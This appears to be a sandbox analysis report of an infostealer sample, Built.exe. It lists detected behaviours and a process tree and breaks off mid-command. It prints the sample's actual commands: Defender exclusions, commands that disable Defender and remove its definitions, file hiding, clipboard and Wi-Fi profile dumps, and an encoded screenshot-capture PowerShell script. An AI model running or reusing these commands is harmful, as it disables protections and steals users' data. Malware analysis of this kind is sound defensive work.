Analysis

  • max time kernel
    192s
  • max time network
    159s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/11/2024, 17:30

General

  • Target

    https://cdn.discordapp.com/attachments/1303048488346452089/1303048596266156062/Built.exe?ex=672a5612&is=67290492&hm=2541cc636f887cf2e182f8c7afe94692b80d6276a87b1127d2d0967ba60b7276&

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Downloads MZ/PE file
  • Drops file in Drivers directory 3 IoCs
  • Clipboard Data 1 TTPs 2 IoCs

    Adversaries may collect data stored in the clipboard from users copying information within or between applications.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 17 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Enumerates processes with tasklist 1 TTPs 4 IoCs
  • Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
  • UPX packed file 59 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Kills process with taskkill 18 IoCs
  • Modifies registry class 1 IoCs
  • NTFS ADS 1 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 3 IoCs

Processes

  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --single-argument https://cdn.discordapp.com/attachments/1303048488346452089/1303048596266156062/Built.exe?ex=672a5612&is=67290492&hm=2541cc636f887cf2e182f8c7afe94692b80d6276a87b1127d2d0967ba60b7276&
    1⤵
    • Enumerates system info in registry
    • Modifies registry class
    • NTFS ADS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:2920
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffbbb3346f8,0x7ffbbb334708,0x7ffbbb334718
      2⤵
        PID:3344
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2224,5231740435078021374,8912469247991370847,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2236 /prefetch:2
        2⤵
          PID:2996
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2224,5231740435078021374,8912469247991370847,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2432 /prefetch:3
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:4504
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2224,5231740435078021374,8912469247991370847,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2712 /prefetch:8
          2⤵
            PID:1136
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2224,5231740435078021374,8912469247991370847,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3292 /prefetch:1
            2⤵
              PID:1156
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2224,5231740435078021374,8912469247991370847,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3312 /prefetch:1
              2⤵
                PID:5064
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2224,5231740435078021374,8912469247991370847,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5000 /prefetch:1
                2⤵
                  PID:2300
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2224,5231740435078021374,8912469247991370847,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5056 /prefetch:1
                  2⤵
                    PID:2312
                  • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2224,5231740435078021374,8912469247991370847,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5528 /prefetch:8
                    2⤵
                      PID:3992
                    • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2224,5231740435078021374,8912469247991370847,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5528 /prefetch:8
                      2⤵
                      • Suspicious behavior: EnumeratesProcesses
                      PID:3792
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2224,5231740435078021374,8912469247991370847,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4608 /prefetch:1
                      2⤵
                        PID:1752
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2224,5231740435078021374,8912469247991370847,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5448 /prefetch:1
                        2⤵
                          PID:1604
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2224,5231740435078021374,8912469247991370847,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5704 /prefetch:8
                          2⤵
                            PID:4380
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2224,5231740435078021374,8912469247991370847,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5752 /prefetch:1
                            2⤵
                              PID:4020
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2224,5231740435078021374,8912469247991370847,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5192 /prefetch:8
                              2⤵
                                PID:1580
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2224,5231740435078021374,8912469247991370847,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3068 /prefetch:8
                                2⤵
                                • Suspicious behavior: EnumeratesProcesses
                                PID:2056
                            • C:\Windows\System32\CompPkgSrv.exe
                              C:\Windows\System32\CompPkgSrv.exe -Embedding
                              1⤵
                                PID:4064
                              • C:\Windows\System32\CompPkgSrv.exe
                                C:\Windows\System32\CompPkgSrv.exe -Embedding
                                1⤵
                                  PID:1280
                                • C:\Windows\system32\wbem\wmiprvse.exe
                                  C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                  1⤵
                                    PID:1580
                                  • C:\Windows\System32\rundll32.exe
                                    C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                    1⤵
                                      PID:708
                                    • C:\Users\Admin\Downloads\Built.exe
                                      "C:\Users\Admin\Downloads\Built.exe"
                                      1⤵
                                      • Executes dropped EXE
                                      PID:892
                                      • C:\Users\Admin\Downloads\Built.exe
                                        "C:\Users\Admin\Downloads\Built.exe"
                                        2⤵
                                        • Drops file in Drivers directory
                                        • Executes dropped EXE
                                        • Loads dropped DLL
                                        PID:676
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Downloads\Built.exe'"
                                          3⤵
                                            PID:2568
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Downloads\Built.exe'
                                              4⤵
                                              • Command and Scripting Interpreter: PowerShell
                                              • Suspicious behavior: EnumeratesProcesses
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:5328
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
                                            3⤵
                                              PID:2984
                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
                                                4⤵
                                                • Command and Scripting Interpreter: PowerShell
                                                • Suspicious behavior: EnumeratesProcesses
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:5300
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\Downloads\Built.exe""
                                              3⤵
                                              • Hide Artifacts: Hidden Files and Directories
                                              PID:3872
                                              • C:\Windows\system32\attrib.exe
                                                attrib +h +s "C:\Users\Admin\Downloads\Built.exe"
                                                4⤵
                                                • Views/modifies file attributes
                                                PID:5308
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\    ‎.scr'"
                                              3⤵
                                                PID:1436
                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                  powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\    ‎.scr'
                                                  4⤵
                                                  • Command and Scripting Interpreter: PowerShell
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:5320
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                3⤵
                                                  PID:4420
                                                  • C:\Windows\system32\tasklist.exe
                                                    tasklist /FO LIST
                                                    4⤵
                                                    • Enumerates processes with tasklist
                                                    • Suspicious use of AdjustPrivilegeToken
                                                    PID:5284
                                                • C:\Windows\system32\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                  3⤵
                                                    PID:5128
                                                    • C:\Windows\system32\tasklist.exe
                                                      tasklist /FO LIST
                                                      4⤵
                                                      • Enumerates processes with tasklist
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:5292
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
                                                    3⤵
                                                      PID:5560
                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                        WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
                                                        4⤵
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        PID:5972
                                                    • C:\Windows\system32\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
                                                      3⤵
                                                      • Clipboard Data
                                                      PID:5580
                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                        powershell Get-Clipboard
                                                        4⤵
                                                        • Clipboard Data
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        PID:6056
                                                    • C:\Windows\system32\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                      3⤵
                                                        PID:5612
                                                        • C:\Windows\system32\tasklist.exe
                                                          tasklist /FO LIST
                                                          4⤵
                                                          • Enumerates processes with tasklist
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:6004
                                                      • C:\Windows\system32\cmd.exe
                                                        C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                        3⤵
                                                          PID:5692
                                                          • C:\Windows\system32\tree.com
                                                            tree /A /F
                                                            4⤵
                                                              PID:6136
                                                          • C:\Windows\system32\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
                                                            3⤵
                                                            • System Network Configuration Discovery: Wi-Fi Discovery
                                                            PID:5724
                                                            • C:\Windows\system32\netsh.exe
                                                              netsh wlan show profile
                                                              4⤵
                                                              • Event Triggered Execution: Netsh Helper DLL
                                                              • System Network Configuration Discovery: Wi-Fi Discovery
                                                              PID:5676
                                                          • C:\Windows\system32\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c "systeminfo"
                                                            3⤵
                                                              PID:5752
                                                              • C:\Windows\system32\systeminfo.exe
                                                                systeminfo
                                                                4⤵
                                                                • Gathers system information
                                                                PID:6116
                                                            • C:\Windows\system32\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
                                                              3⤵
                                                                PID:5844
                                                                • C:\Windows\system32\reg.exe
                                                                  REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
                                                                  4⤵
                                                                    PID:5956
                                                                • C:\Windows\system32\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
                                                                  3⤵
                                                                    PID:5868
                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8Ab